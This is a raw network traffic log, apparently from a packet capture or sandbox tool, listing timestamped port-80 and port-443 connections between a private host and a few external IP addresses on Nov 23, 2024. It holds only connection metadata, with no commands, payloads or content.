Nov 23, 2024 09:16:52.889616013 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.890209913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.890224934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.890496969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.891006947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.891022921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.891081095 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.891974926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.891990900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.892046928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.892046928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.892317057 CET	49857	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.893240929 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.893258095 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.893270969 CET	49858	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.893320084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.893373013 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.894151926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.894606113 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.894705057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.894720078 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.894735098 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.894757986 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.894880056 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.895845890 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.895901918 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.896663904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.896738052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.896894932 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.896910906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.897018909 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.897958040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.898328066 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.899087906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.899101973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.899117947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.899188995 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.900203943 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.900564909 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.900635958 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.901316881 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.901915073 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.902391911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.902406931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.902422905 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.902494907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.902494907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.903486013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.903908014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.904093027 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.904306889 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.904606104 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.904784918 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.904925108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.905200958 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.905714989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.905730963 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.905857086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.906795979 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.906946898 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.906979084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.907030106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.907900095 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.908143044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.908643007 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.909012079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.909043074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.910176992 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.910192966 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.910208941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.910233021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.910506010 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.911205053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.911351919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.911442995 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.912309885 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.912353039 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.912375927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.913451910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.913484097 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.913511038 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.913600922 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.914562941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.914855957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.915657997 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.915676117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.915693998 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.915719032 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.915839911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.916779995 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.916796923 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.916919947 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.917829990 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.918128967 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.918164015 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.918240070 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.918984890 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.919001102 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.919287920 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.920016050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.920114040 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.920257092 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.920468092 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.921120882 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.921351910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.921399117 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.922246933 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.922442913 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.923374891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.923393965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.923409939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.923456907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.923456907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.924444914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.924547911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.925018072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.925477982 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.925540924 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.925873041 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.926357985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.926527977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.926661968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.926717043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.926738977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.926786900 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.927774906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.927930117 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.928587914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.928769112 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.928818941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.929071903 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.074094057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.074112892 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.074242115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.074345112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.074361086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.074604988 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.075680971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.075699091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.075758934 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.075758934 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.076585054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.076735020 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.077584982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.077605009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.077680111 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.077680111 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.077712059 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.077800989 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.078638077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.078922987 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.079685926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.079703093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.079725027 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.079793930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.079793930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.080383062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.080512047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.081275940 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.081554890 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.081595898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.081687927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.081959009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.082801104 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.083144903 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.083858967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.084009886 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.084012985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.084027052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.084049940 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.084286928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.084839106 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.085025072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.085036039 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.085114956 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.085864067 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.085975885 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.086636066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.086651087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.086667061 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.086775064 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.086775064 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.087722063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.087964058 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.088896990 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.089056969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.089073896 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.089102983 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.089138985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.090739012 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.091264963 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.091442108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.091460943 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.091480017 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.091537952 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.091537952 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.092277050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.092464924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.092566967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.092811108 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.093173981 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.093321085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.094269991 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.094326973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.094346046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.094362020 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.094444990 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.095814943 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.095834017 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.095907927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.095907927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.096834898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.096854925 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.096884012 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.096998930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.097711086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.098112106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.098728895 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.098810911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.098829031 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.098831892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.098882914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.098882914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.099973917 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.100080967 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.100435972 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.101440907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.101943970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.101982117 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.102061033 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.102093935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.103231907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.103266954 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.103704929 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.103739023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.103787899 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.104223013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.104254961 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.104571104 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.104607105 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.104938030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.105323076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.106462955 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.106494904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.106673956 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.106673956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.106709003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.106765985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.106884003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.108035088 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.108187914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.108952999 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.108990908 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.109028101 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.109200954 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.109744072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.109889984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.110896111 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.110933065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.110968113 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.111001015 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.111027956 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.111948013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.112102985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.112564087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.112750053 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.113020897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.113142967 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.113985062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.114073038 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.114155054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.114259005 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.115292072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.115346909 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.115381956 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.115382910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.115524054 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.116358995 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.116417885 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.116657019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.116828918 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.117455006 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.117639065 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.118491888 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.118602991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.118622065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.118658066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.118691921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.118779898 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.119659901 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.119854927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.120714903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.120775938 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.120810986 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.120811939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.120934010 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.121907949 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.122122049 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.122453928 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.122540951 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.122988939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.123150110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.123188019 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.123284101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.124115944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.124150991 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.124372959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.125222921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.125479937 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.125875950 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.126157999 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.126332998 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.126368046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.126408100 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.126653910 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.127474070 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.127509117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.127538919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.127592087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.128500938 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.128686905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.128690958 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.128817081 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.129585028 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.129827023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.130384922 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.130462885 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.130664110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.130757093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.195229053 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.195605040 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.195621014 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.196733952 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.196891069 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.198143005 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.198143005 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.198154926 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.198220015 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.198925018 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.199117899 CET	49861	443	192.168.2.6	23.209.72.25
